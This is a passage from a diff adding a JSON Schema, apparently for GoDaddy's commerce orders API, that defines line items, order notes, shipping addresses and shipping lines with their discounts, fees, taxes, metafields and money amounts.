"currencyCode": { + "description": "A three-character ISO-4217 currency code.", + "maxLength": 3, + "minLength": 3, + "type": "string" + }, + "value": { + "description": "The value, which might represent intergrals for currencies like `JPY` that are not typically fractional; or, with an implied decimal fraction for currencies like `TND` that are subdivided into thousandths. For the implied number of decimal places for a currency code, see [ISO-4217 Currency Codes](https://en.wikipedia.org/wiki/ISO_4217).", + "minimum": 0, + "type": "integer" + } + }, + "required": [ + "currencyCode", + "value" + ], + "title": "Simple Money with Fixed Precision", + "type": "object" + }, + "subTotal": { + "$id": "https://godaddy.com/schemas/common/simple-money.v1", + "$schema": "http://json-schema.org/draft/2020-12/schema", + "description": "The currency and amount for a financial transaction, such as a balance or payment due. Use for value representations with default transactable-value precision.", + "properties": { + "currencyCode": { + "description": "A three-character ISO-4217 currency code.", + "maxLength": 3, + "minLength": 3, + "type": "string" + }, + "value": { + "description": "The value, which might represent intergrals for currencies like `JPY` that are not typically fractional; or, with an implied decimal fraction for currencies like `TND` that are subdivided into thousandths. For the implied number of decimal places for a currency code, see [ISO-4217 Currency Codes](https://en.wikipedia.org/wiki/ISO_4217).", + "minimum": 0, + "type": "integer" + } + }, + "required": [ + "currencyCode", + "value" + ], + "title": "Simple Money with Fixed Precision", + "type": "object" + }, + "taxTotal": { + "$id": "https://godaddy.com/schemas/common/simple-money.v1", + "$schema": "http://json-schema.org/draft/2020-12/schema", + "description": "The currency and amount for a financial transaction, such as a balance or payment due. Use for value representations with default transactable-value precision.", + "properties": { + "currencyCode": { + "description": "A three-character ISO-4217 currency code.", + "maxLength": 3, + "minLength": 3, + "type": "string" + }, + "value": { + "description": "The value, which might represent intergrals for currencies like `JPY` that are not typically fractional; or, with an implied decimal fraction for currencies like `TND` that are subdivided into thousandths. For the implied number of decimal places for a currency code, see [ISO-4217 Currency Codes](https://en.wikipedia.org/wiki/ISO_4217).", + "minimum": 0, + "type": "integer" + } + }, + "required": [ + "currencyCode", + "value" + ], + "title": "Simple Money with Fixed Precision", + "type": "object" + }, + "total": { + "$id": "https://godaddy.com/schemas/common/simple-money.v1", + "$schema": "http://json-schema.org/draft/2020-12/schema", + "description": "The currency and amount for a financial transaction, such as a balance or payment due. Use for value representations with default transactable-value precision.", + "properties": { + "currencyCode": { + "description": "A three-character ISO-4217 currency code.", + "maxLength": 3, + "minLength": 3, + "type": "string" + }, + "value": { + "description": "The value, which might represent intergrals for currencies like `JPY` that are not typically fractional; or, with an implied decimal fraction for currencies like `TND` that are subdivided into thousandths. For the implied number of decimal places for a currency code, see [ISO-4217 Currency Codes](https://en.wikipedia.org/wiki/ISO_4217).", + "minimum": 0, + "type": "integer" + } + }, + "required": [ + "currencyCode", + "value" + ], + "title": "Simple Money with Fixed Precision", + "type": "object" + } + }, + "required": [ + "discountTotal", + "feeTotal", + "taxTotal", + "subTotal" + ], + "type": "object" + }, + "type": { + "$id": "https://godaddy.com/schemas/commerce/orders/line-item-type.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "The type of a line item - allowed values are PHYSICAL, DIGITAL, ALL, SERVICE, STAY, PAY_LINK", + "enum": [ + "PHYSICAL", + "DIGITAL", + "ALL", + "SERVICE", + "STAY", + "PAY_LINK" + ], + "title": "Line Item Type", + "type": "string" + }, + "unitAmount": { + "$id": "https://godaddy.com/schemas/common/simple-money.v1", + "$schema": "http://json-schema.org/draft/2020-12/schema", + "description": "The currency and amount for a financial transaction, such as a balance or payment due. Use for value representations with default transactable-value precision.", + "properties": { + "currencyCode": { + "description": "A three-character ISO-4217 currency code.", + "maxLength": 3, + "minLength": 3, + "type": "string" + }, + "value": { + "description": "The value, which might represent intergrals for currencies like `JPY` that are not typically fractional; or, with an implied decimal fraction for currencies like `TND` that are subdivided into thousandths. For the implied number of decimal places for a currency code, see [ISO-4217 Currency Codes](https://en.wikipedia.org/wiki/ISO_4217).", + "minimum": 0, + "type": "integer" + } + }, + "required": [ + "currencyCode", + "value" + ], + "title": "Simple Money with Fixed Precision", + "type": "object" + }, + "updatedAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + } + }, + "required": [ + "type", + "name", + "fulfillmentMode", + "status", + "totals", + "unitAmount", + "quantity" + ], + "title": "Line Item", + "type": "object" + }, + "type": "array" + }, + "notes": { + "description": "Notes for an order", + "items": { + "$id": "https://godaddy.com/schemas/commerce/orders/note.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A note can be applied at two levels: the broad order level and the individual line item level", + "properties": { + "author": { + "description": "Order note author. This could be a reference to an `employeeId`, etc.", + "type": "string" + }, + "authorType": { + "default": "NONE", + "description": "Possible note author types", + "enum": [ + "NONE", + "MERCHANT", + "CUSTOMER" + ], + "type": "string" + }, + "content": { + "description": "Order note content", + "example": "Please gift wrap my order :)", + "type": "string" + }, + "createdAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "deletedAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "externalIds": { + "description": "A set of externalIds associated with the note", + "items": { + "$id": "https://godaddy.com/schemas/commerce/orders/external-id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "An externalId object", + "properties": { + "type": { + "description": "Type of the externalId", + "example": "POYNT_ID", + "type": "string" + }, + "value": { + "description": "Value of the externalId", + "example": "5fd460e7-bca8-41d0-a87e-4025fd38406f", + "type": "string" + } + }, + "required": [ + "type", + "value" + ], + "title": "External ID", + "type": "object" + }, + "maxItems": 2, + "type": "array" + }, + "id": { + "description": "An identifier unique to the note (). Auto-generated by the service on creation", + "example": "2OzALCIyt6zdX7FO0HONJRVjnYE", + "readOnly": true, + "type": "string" + }, + "metafields": { + "description": "Metafields that allow clients to store source data for a note", + "items": { + "$id": "https://godaddy.com/schemas/commerce/orders/metafield.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Metafields enable the consumer to attach additional information to a resource, such as an Order or Line Item", + "properties": { + "key": { + "description": "The unique identifier for the metafield in its namespace", + "example": "freeShipping", + "type": "string" + }, + "type": { + "default": "JSON", + "description": "The type of data that the metafield stores in the `value` field", + "enum": [ + "JSON" + ], + "type": "string" + }, + "value": { + "description": "The data to store in the metafield. The data is always stored as a string, regardless of the metafield's type", + "example": "{ \"qualityVerified\" : \"true\" }", + "maxLength": 1024, + "type": "string" + } + }, + "required": [ + "key", + "type", + "value" + ], + "title": "Metafield", + "type": "object" + }, + "maxItems": 5, + "type": "array" + }, + "referenceId": { + "deprecated": true, + "description": "Reference identifier for the note", + "example": "27bfe2e3-c681-4cd8-8cd6-a44046cee86c", + "type": "string" + }, + "shouldNotifyCustomer": { + "default": false, + "description": "Consumers of Order Events can key off this attribute to decide if they need to notify customers", + "type": "boolean" + } + }, + "required": [ + "content" + ], + "title": "Note", + "type": "object" + }, + "type": "array" + }, + "number": { + "description": "The main number for the order. This is different from the `id` attribute, which is the `ID` of the order used by APIs. Uniqueness is not enforced. This number will show up in Order UIs to the merchant (C1).", + "example": "R409480421", + "type": "string" + }, + "numberDisplay": { + "description": "A human readable number handed out to customers (C2). Uniqueness is not enforced. For example at In-N-Out Burger, they assign an Order a `numberDisplay` from 1 - 100. Once the `numberDisplay` hits 100, the next Order has `numberDisplay` set to 1.", + "example": "110", + "type": "string" + }, + "paidAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "processedAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "refundedAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "shipping": { + "$id": "https://godaddy.com/schemas/commerce/orders/shipping.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Groups together relevant shipping details about an order or a line item", + "properties": { + "address": { + "$id": "https://godaddy.com/schemas/common/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "An internationalized postal address. Maps to [AddressValidationMetadata](https://github.com/googlei18n/libaddressinput/wiki/AddressValidationMetadata) from Google's Address Data Service and HTML 5.1 [Autofilling form controls: the autocomplete attribute](https://www.w3.org/TR/html51/sec-forms.html#autofilling-form-controls-the-autocomplete-attribute).", + "properties": { + "addressDetails": { + "description": "The non-portable additional address details that are sometimes needed for compliance, risk, or other scenarios where fine-grain address information might be needed. Not portable with common third-party and open-source address libraries and redundant with core fields. For example, `address.addressLine1` is usually a combination of `addressDetails.streetNumber` and `streetName` and `streetType`.", + "properties": { + "addressType": { + "description": "The type of address. Single character representation of a type. For example: 'B' for building, 'F' for organization, 'G' for general delivery, 'H' for high-rise, 'L' for large-volume organization, 'P' for Post Office box or delivery service, 'R' for rural route, 'S' for street, 'U' for unidentified address.", + "maxLength": 1, + "type": "string" + }, + "buildingName": { + "description": "A named locations that represents the premise. Usually a building name or number or collection of buildings with a common name or number. For example, Craven House.", + "maxLength": 100, + "type": "string" + }, + "deliveryService": { + "description": "The delivery service. Post office box, bag number, or post office name.", + "maxLength": 100, + "type": "string" + }, + "geoCoordinates": { + "$id": "https://godaddy.com/schemas/common/geo-coordinates.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "The geographic latitude and longitude coordinates.", + "properties": { + "latitude": { + "pattern": "^-?([1-8]?[1-9]|[1-9]0)\\.{1}\\d{1,6}", + "type": "string" + }, + "longitude": { + "pattern": "^-?([1]?[1-7][1-9]|[1]?[1-8][0]|[1-9]?[0-9])\\.{1}\\d{1,6}", + "type": "string" + } + }, + "required": [ + "longitude", + "latitude" + ], + "title": "Geographic Coordinates", + "type": "object" + }, + "streetName": { + "description": "The street name. Just `Drury` in `Drury Lane`.", + "maxLength": 100, + "type": "string" + }, + "streetNumber": { + "description": "The street number.", + "maxLength": 100, + "type": "string" + }, + "streetType": { + "description": "The street type. For example, avenue, boulevard, road, or expressway.", + "maxLength": 100, + "type": "string" + }, + "subBuilding": { + "description": "The first-order entity below a named building or location that represents the sub-premise. Usually a single building within a collection of buildings with a common name. Can be a flat, story, floor, room, or apartment.", + "maxLength": 100, + "type": "string" + } + }, + "title": "Address Details", + "type": "object" + }, + "addressLine1": { + "description": "The first line of the address. For example, number and street name. For example, `3032 Bunker Hill Lane`. Required for compliance and risk checks. Must contain the full address.", + "maxLength": 300, + "type": "string" + }, + "addressLine2": { + "description": "The second line of the address. For example, office suite or apartment number.", + "maxLength": 300, + "type": "string" + }, + "addressLine3": { + "description": "The third line of the address, if needed. For example, a street complement for Brazil; direction text, such as `next to Opera House`; or a landmark reference in an Indian address.", + "maxLength": 100, + "type": "string" + }, + "adminArea1": { + "description": "The highest level sub-division in a country, which is usually a province, state, or ISO-3166-2 subdivision; formatted for postal delivery. For example, `CA` and not `California`. For example, for UK - A county; for USs - A state; for Canada - A province; for Japan - A prefecture; for Switzerland - A kanton.", + "maxLength": 300, + "type": "string" + }, + "adminArea2": { + "description": "A city, town, or village. Smaller than `adminArea1`.", + "maxLength": 300, + "type": "string" + }, + "adminArea3": { + "description": "A sub-locality, suburb, neighborhood, or district. Smaller than `adminArea2`. For example, in Brazil - Suburb, bairro, or neighborhood; in India - Sub-locality or district. Street name information may not always available and a sub-locality or district can reference a very small area.", + "maxLength": 100, + "type": "string" + }, + "adminArea4": { + "description": "The neighborhood, ward, or district. Smaller than `adminArea3` or `subLocality`. For example, the postal sorting code that is used in Guernsey and many French territories, such as French Guiana; the fine-grained administrative levels in China.", + "maxLength": 100, + "type": "string" + }, + "countryCode": { + "$id": "https://godaddy.com/schemas/common-types/country-code.v1", + "$schema": "http://json-schema.org/draft/2020-12/schema", + "description": "A two-character ISO 3166-1 code that identifies the country or region.", + "maxLength": 2, + "minLength": 2, + "pattern": "^([A-Z]{2}|C2)$", + "type": "string" + }, + "postalCode": { + "description": "The postal code, which is the zip code or equivalent. Typically required for countries that have a postal code or an equivalent. See [Postal code](https://en.wikipedia.org/wiki/Postal_code).", + "maxLength": 60, + "type": "string" + } + }, + "required": [ + "countryCode" + ], + "title": "Postal Address (Medium-Grained)", + "type": "object" + }, + "companyName": { + "description": "Company name associated with the shipping info", + "type": "string" + }, + "email": { + "description": "The email address associated with shipping", + "example": "test@gmail.com", + "format": "email", + "type": "string" + }, + "firstName": { + "description": "First name associated with the shipping info", + "type": "string" + }, + "lastName": { + "description": "Last name associated with the shipping info", + "type": "string" + }, + "phone": { + "description": "The phone number associated with the shipping info", + "format": "phone", + "type": "string" + } + }, + "title": "Shipping", + "type": "object" + }, + "shippingLines": { + "description": "Shipping lines for an order", + "items": { + "$id": "https://godaddy.com/schemas/commerce/orders/shipping-line.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A shipping line details a shipping method used for an order", + "properties": { + "amount": { + "$id": "https://godaddy.com/schemas/common/simple-money.v1", + "$schema": "http://json-schema.org/draft/2020-12/schema", + "description": "The currency and amount for a financial transaction, such as a balance or payment due. Use for value representations with default transactable-value precision.", + "properties": { + "currencyCode": { + "description": "A three-character ISO-4217 currency code.", + "maxLength": 3, + "minLength": 3, + "type": "string" + }, + "value": { + "description": "The value, which might represent intergrals for currencies like `JPY` that are not typically fractional; or, with an implied decimal fraction for currencies like `TND` that are subdivided into thousandths. For the implied number of decimal places for a currency code, see [ISO-4217 Currency Codes](https://en.wikipedia.org/wiki/ISO_4217).", + "minimum": 0, + "type": "integer" + } + }, + "required": [ + "currencyCode", + "value" + ], + "title": "Simple Money with Fixed Precision", + "type": "object" + }, + "discounts": { + "description": "Discounts applied to this shipping line", + "items": { + "$id": "https://godaddy.com/schemas/commerce/orders/discount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A discount can be applied at two levels: the broad order level and the individual line item level", + "properties": { + "amount": { + "$id": "https://godaddy.com/schemas/common/simple-money.v1", + "$schema": "http://json-schema.org/draft/2020-12/schema", + "description": "The currency and amount for a financial transaction, such as a balance or payment due. Use for value representations with default transactable-value precision.", + "properties": { + "currencyCode": { + "description": "A three-character ISO-4217 currency code.", + "maxLength": 3, + "minLength": 3, + "type": "string" + }, + "value": { + "description": "The value, which might represent intergrals for currencies like `JPY` that are not typically fractional; or, with an implied decimal fraction for currencies like `TND` that are subdivided into thousandths. For the implied number of decimal places for a currency code, see [ISO-4217 Currency Codes](https://en.wikipedia.org/wiki/ISO_4217).", + "minimum": 0, + "type": "integer" + } + }, + "required": [ + "currencyCode", + "value" + ], + "title": "Simple Money with Fixed Precision", + "type": "object" + }, + "appliedBeforeTax": { + "default": false, + "description": "Discount was applied to order / line item before calculating tax", + "type": "boolean" + }, + "code": { + "description": "Code of the applied discount. For orders from certain consumers, the order can have a custom discount applied during checkout that does not have a specific code", + "type": "string" + }, + "externalIds": { + "description": "A set of externalIds associated with the discount", + "items": { + "$id": "https://godaddy.com/schemas/commerce/orders/external-id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "An externalId object", + "properties": { + "type": { + "description": "Type of the externalId", + "example": "POYNT_ID", + "type": "string" + }, + "value": { + "description": "Value of the externalId", + "example": "5fd460e7-bca8-41d0-a87e-4025fd38406f", + "type": "string" + } + }, + "required": [ + "type", + "value" + ], + "title": "External ID", + "type": "object" + }, + "maxItems": 2, + "type": "array" + }, + "id": { + "description": "An identifier unique to the discount (). Auto-generated by the service on creation", + "example": "2OzAIm2h7FSFjGvrG3pOieuVWBg", + "readOnly": true, + "type": "string" + }, + "metafields": { + "description": "Metafields that allow clients to store source data for a discount", + "items": { + "$id": "https://godaddy.com/schemas/commerce/orders/metafield.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Metafields enable the consumer to attach additional information to a resource, such as an Order or Line Item", + "properties": { + "key": { + "description": "The unique identifier for the metafield in its namespace", + "example": "freeShipping", + "type": "string" + }, + "type": { + "default": "JSON", + "description": "The type of data that the metafield stores in the `value` field", + "enum": [ + "JSON" + ], + "type": "string" + }, + "value": { + "description": "The data to store in the metafield. The data is always stored as a string, regardless of the metafield's type", + "example": "{ \"qualityVerified\" : \"true\" }", + "maxLength": 1024, + "type": "string" + } + }, + "required": [ + "key", + "type", + "value" + ], + "title": "Metafield", + "type": "object" + }, + "maxItems": 5, + "type": "array" + }, + "name": { + "description": "Name of the discount used for display purposes", + "type": "string" + }, + "ratePercentage": { + "$id": "https://godaddy.com/schemas/common/percentage.json", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A percentage value as a signed decimal number. For example, it defines a 12.34% interest rate as `12.34`.", + "pattern": "^((-?[0-9]+)|(-?([0-9]+)?[.][0-9]+))$", + "type": "string" + }, + "referenceId": { + "deprecated": true, + "description": "Reference identifier for the discount", + "example": "a95253f9-c179-4561-9fb1-61edb2c8ccdb", + "type": "string" + } + }, + "required": [ + "name", + "amount" + ], + "title": "Discount", + "type": "object" + }, + "type": "array" + }, + "externalIds": { + "description": "A set of externalIds associated with the shipping line", + "items": { + "$id": "https://godaddy.com/schemas/commerce/orders/external-id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "An externalId object", + "properties": { + "type": { + "description": "Type of the externalId", + "example": "POYNT_ID", + "type": "string" + }, + "value": { + "description": "Value of the externalId", + "example": "5fd460e7-bca8-41d0-a87e-4025fd38406f", + "type": "string" + } + }, + "required": [ + "type", + "value" + ], + "title": "External ID", + "type": "object" + }, + "maxItems": 2, + "type": "array" + }, + "fees": { + "description": "Fees applied to this shipping line", + "items": { + "$id": "https://godaddy.com/schemas/commerce/orders/fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A miscellaneous fee can be applied at two levels: the broad order level (shipping fee or handling cost) and the individual line item level", + "properties": { + "amount": { + "$id": "https://godaddy.com/schemas/common/simple-money.v1", + "$schema": "http://json-schema.org/draft/2020-12/schema", + "description": "The currency and amount for a financial transaction, such as a balance or payment due. Use for value representations with default transactable-value precision.", + "properties": { + "currencyCode": { + "description": "A three-character ISO-4217 currency code.", + "maxLength": 3, + "minLength": 3, + "type": "string" + }, + "value": { + "description": "The value, which might represent intergrals for currencies like `JPY` that are not typically fractional; or, with an implied decimal fraction for currencies like `TND` that are subdivided into thousandths. For the implied number of decimal places for a currency code, see [ISO-4217 Currency Codes](https://en.wikipedia.org/wiki/ISO_4217).", + "minimum": 0, + "type": "integer" + } + }, + "required": [ + "currencyCode", + "value" + ], + "title": "Simple Money with Fixed Precision", + "type": "object" + }, + "appliedBeforeTax": { + "default": false, + "description": "Fee was applied to order / line item before calculating tax", + "type": "boolean" + }, + "externalIds": { + "description": "A set of externalIds associated with the fee", + "items": { + "$id": "https://godaddy.com/schemas/commerce/orders/external-id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "An externalId object", + "properties": { + "type": { + "description": "Type of the externalId", + "example": "POYNT_ID", + "type": "string" + }, + "value": { + "description": "Value of the externalId", + "example": "5fd460e7-bca8-41d0-a87e-4025fd38406f", + "type": "string" + } + }, + "required": [ + "type", + "value" + ], + "title": "External ID", + "type": "object" + }, + "maxItems": 2, + "type": "array" + }, + "id": { + "description": "An identifier unique to the fee (). Auto-generated by the service on creation", + "example": "2OzALCP9sWGrPHZs6PHVXWohzdm", + "readOnly": true, + "type": "string" + }, + "metafields": { + "description": "Metafields that allow clients to store source data for a fee", + "items": { + "$id": "https://godaddy.com/schemas/commerce/orders/metafield.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Metafields enable the consumer to attach additional information to a resource, such as an Order or Line Item", + "properties": { + "key": { + "description": "The unique identifier for the metafield in its namespace", + "example": "freeShipping", + "type": "string" + }, + "type": { + "default": "JSON", + "description": "The type of data that the metafield stores in the `value` field", + "enum": [ + "JSON" + ], + "type": "string" + }, + "value": { + "description": "The data to store in the metafield. The data is always stored as a string, regardless of the metafield's type", + "example": "{ \"qualityVerified\" : \"true\" }", + "maxLength": 1024, + "type": "string" + } + }, + "required": [ + "key", + "type", + "value" + ], + "title": "Metafield", + "type": "object" + }, + "maxItems": 5, + "type": "array" + }, + "name": { + "description": "Name of the fee used for display purposes", + "type": "string" + }, + "ratePercentage": { + "$id": "https://godaddy.com/schemas/common/percentage.json", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A percentage value as a signed decimal number. For example, it defines a 12.34% interest rate as `12.34`.", + "pattern": "^((-?[0-9]+)|(-?([0-9]+)?[.][0-9]+))$", + "type": "string" + }, + "referenceId": { + "deprecated": true, + "description": "Reference identifier for the fee", + "example": "a95253f9-c179-4561-9fb1-61edb2c8ccdb", + "type": "string" + } + }, + "required": [ + "name", + "amount" + ], + "title": "Fee", + "type": "object" + }, + "type": "array" + }, + "id": { + "description": "An identifier unique to the shipping line (). Auto-generated by the service on creation", + "example": "2OzALICx6zxHI32ryuEYDInf8Ck", + "readOnly": true, + "type": "string" + }, + "metafields": { + "description": "Metafields that allow clients to store source data for a shipping line", + "items": { + "$id": "https://godaddy.com/schemas/commerce/orders/metafield.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Metafields enable the consumer to attach additional information to a resource, such as an Order or Line Item", + "properties": { + "key": { + "description": "The unique identifier for the metafield in its namespace", + "example": "freeShipping", + "type": "string" + }, + "type": { + "default": "JSON", + "description": "The type of data that the metafield stores in the `value` field", + "enum": [ + "JSON" + ], + "type": "string" + }, + "value": { + "description": "The data to store in the metafield. The data is always stored as a string, regardless of the metafield's type", + "example": "{ \"qualityVerified\" : \"true\" }", + "maxLength": 1024, + "type": "string" + } + }, + "required": [ + "key", + "type", + "value" + ], + "title": "Metafield", + "type": "object" + }, + "maxItems": 5, + "type": "array" + }, + "name": { + "description": "The name of the shipping line for display purposes", + "type": "string" + }, + "requestedProvider": { + "description": "Shipping provider requested by buyer (`UPS`, `USPS`, etc.)", + "type": "string" + }, + "requestedService": { + "description": "Shipping service requested by buyer (`2nd Day`, `Priority`, `Express` etc.)", + "type": "string" + }, + "taxes": { + "description": "Taxes for a shipping line", + "items": { + "$id": "https://godaddy.com/schemas/commerce/orders/tax.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "An Order Item tax can be applied at the level of an individual line item or shipping line", + "properties": { + "amount": { + "$id": "https://godaddy.com/schemas/common/simple-money.v1", + "$schema": "http://json-schema.org/draft/2020-12/schema", + "description": "The currency and amount for a financial transaction, such as a balance or payment due. Use for value representations with default transactable-value precision.", + "properties": { + "currencyCode": { + "description": "A three-character ISO-4217 currency code.", + "maxLength": 3, + "minLength": 3, + "type": "string" + }, + "value": { + "description": "The value, which might represent intergrals for currencies like `JPY` that are not typically fractional; or, with an implied decimal fraction for currencies like `TND` that are subdivided into thousandths. For the implied number of decimal places for a currency code, see [ISO-4217 Currency Codes](https://en.wikipedia.org/wiki/ISO_4217).", + "minimum": 0, + "type": "integer" + } + }, + "required": [ + "currencyCode", + "value" + ], + "title": "Simple Money with Fixed Precision", + "type": "object" + }, + "exempted": { + "default": false, + "description": "Determines whether the tax was exempted. Can be used to explicitly explain why a tax has a zero amount", + "type": "boolean" + }, + "externalIds": { + "description": "A set of externalIds associated with the tax object", + "items": { + "$id": "https://godaddy.com/schemas/commerce/orders/external-id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "An externalId object", + "properties": { + "type": { + "description": "Type of the externalId", + "example": "POYNT_ID", + "type": "string" + }, + "value": { + "description": "Value of the externalId", + "example": "5fd460e7-bca8-41d0-a87e-4025fd38406f", + "type": "string" + } + }, + "required": [ + "type", + "value" + ], + "title": "External ID", + "type": "object" + }, + "maxItems": 2, + "type": "array" + }, + "id": { + "description": "An identifier unique to the tax object (). Auto-generated by the service on creation", + "example": "2OzALD8dzE5gQUiia1qA2gvQJsn", + "readOnly": true, + "type": "string" + }, + "included": { + "default": false, + "description": "Determines whether the tax was included in order / line item / shipping subtotals", + "type": "boolean" + }, + "metafields": { + "description": "Metafields that allow clients to store source data for a tax", + "items": { + "$id": "https://godaddy.com/schemas/commerce/orders/metafield.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Metafields enable the consumer to attach additional information to a resource, such as an Order or Line Item", + "properties": { + "key": { + "description": "The unique identifier for the metafield in its namespace", + "example": "freeShipping", + "type": "string" + }, + "type": { + "default": "JSON", + "description": "The type of data that the metafield stores in the `value` field", + "enum": [ + "JSON" + ], + "type": "string" + }, + "value": { + "description": "The data to store in the metafield. The data is always stored as a string, regardless of the metafield's type", + "example": "{ \"qualityVerified\" : \"true\" }", + "maxLength": 1024, + "type": "string" + } + }, + "required": [ + "key", + "type", + "value" + ], + "title": "Metafield", + "type": "object" + }, + "maxItems": 5, + "type": "array" + }, + "name": { + "description": "Name of the tax used for display purposes", + "type": "string" + }, + "ratePercentage": { + "$id": "https://godaddy.com/schemas/common/percentage.json", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A percentage value as a signed decimal number. For example, it defines a 12.34% interest rate as `12.34`.", + "pattern": "^((-?[0-9]+)|(-?([0-9]+)?[.][0-9]+))$", + "type": "string" + }, + "referenceId": { + "deprecated": true, + "description": "Reference identifier for the tax object", + "example": "141b4db0-d0d6-4792-9251-a35b2bc304c6", + "type": "string" + } + }, + "required": [ + "name", + "amount" + ], + "title": "Order Item Tax", + "type": "object" + }, + "type": "array" + }, + "totals": { + "description": "Grouped totals for a shipping line", + "properties": { + "discountTotal": { + "$id": "https://godaddy.com/schemas/common/simple-money.v1", + "$schema": "http://json-schema.org/draft/2020-12/schema", + "description": "The currency and amount for a financial transaction, such as a balance or payment due. Use for value representations with default transactable-value precision.", + "properties": { + "currencyCode": { + "description": "A three-character ISO-4217 currency code.", + "maxLength": 3, + "minLength": 3, + "type": "string" + }, + "value": { + "description": "The value, which might represent intergrals for currencies like `JPY` that are not typically fractional; or, with an implied decimal fraction for currencies like `TND` that are subdivided into thousandths. For the implied number of decimal places for a currency code, see [ISO-4217 Currency Codes](https://en.wikipedia.org/wiki/ISO_4217).", + "minimum": 0, + "type": "integer" + } + }, + "required": [ + "currencyCode", + "value" + ], + "title": "Simple Money with Fixed Precision", + "type": "object" + }, + "feeTotal": { + "$id": "https://godaddy.com/schemas/common/simple-money.v1", + "$schema": "http://json-schema.org/draft/2020-12/schema", + "description": "The currency and amount for a financial transaction, such as a balance or payment due. Use for value representations with default transactable-value precision.", + "properties": { + "currencyCode": { + "description": "A three-character ISO-4217 currency code.", + "maxLength": 3, + "minLength": 3, + "type": "string" + }, + "value": { + "description": "The value, which might represent intergrals for currencies like `JPY` that are not typically fractional; or, with an implied decimal fraction for currencies like `TND` that are subdivided into thousandths. For the implied number of decimal places for a currency code, see [ISO-4217 Currency Codes](https://en.wikipedia.org/wiki/ISO_4217).", + "minimum": 0, + "type": "integer" + } + }, + "required": [ + "currencyCode", + "value" + ], + "title": "Simple Money with Fixed 